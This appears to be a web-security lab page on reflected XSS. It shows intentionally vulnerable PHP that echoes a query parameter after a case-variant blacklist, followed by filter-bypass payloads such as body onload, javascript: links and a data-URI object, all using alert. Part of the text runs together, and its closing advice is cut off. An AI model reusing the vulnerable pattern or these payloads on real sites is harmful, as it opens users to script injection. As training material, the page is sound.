Lab: Comprehensive Filter Bypass Challenge
This lab demonstrates a reflected XSS vulnerability with a comprehensive filter that blocks multiple case variations of 'script', 'img', 'image', and now 'svg' tags.
str_replace(array('script','Script','sCript',...,'svg'), '', $_GET['fname'])
Objective: Bypass the comprehensive filter and execute a JavaScript alert.
Note: Only the First Name field is filtered and displayed. The Last Name field is unfiltered but not used in output.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
$arr = array('script','Script','sCript','scRipt',
'scrIpt','scriPt','scripT','SCript',
'SCRipt','SCRIpt','SCRIPt','SCRIPT',
'img','image','svg');
$re = str_replace($arr, '', $_GET['fname']);
echo $re;
}
body, iframe, object, embed, link, meta, baseonmouseover, onfocus, onload, onerror on tags that aren't filtered<body onload=alert(1)><a href="javascript:alert(1)">click</a><object data="data:text/html,<script>alert(1)</script>">style attributes with expression() or other CSS injectionThis comprehensive filter demonstrates the fundamental flaw in blacklist approaches:
For production applications, always use:
Simple script tag filter
Multiple tag filters
Case variations
Comprehensive filters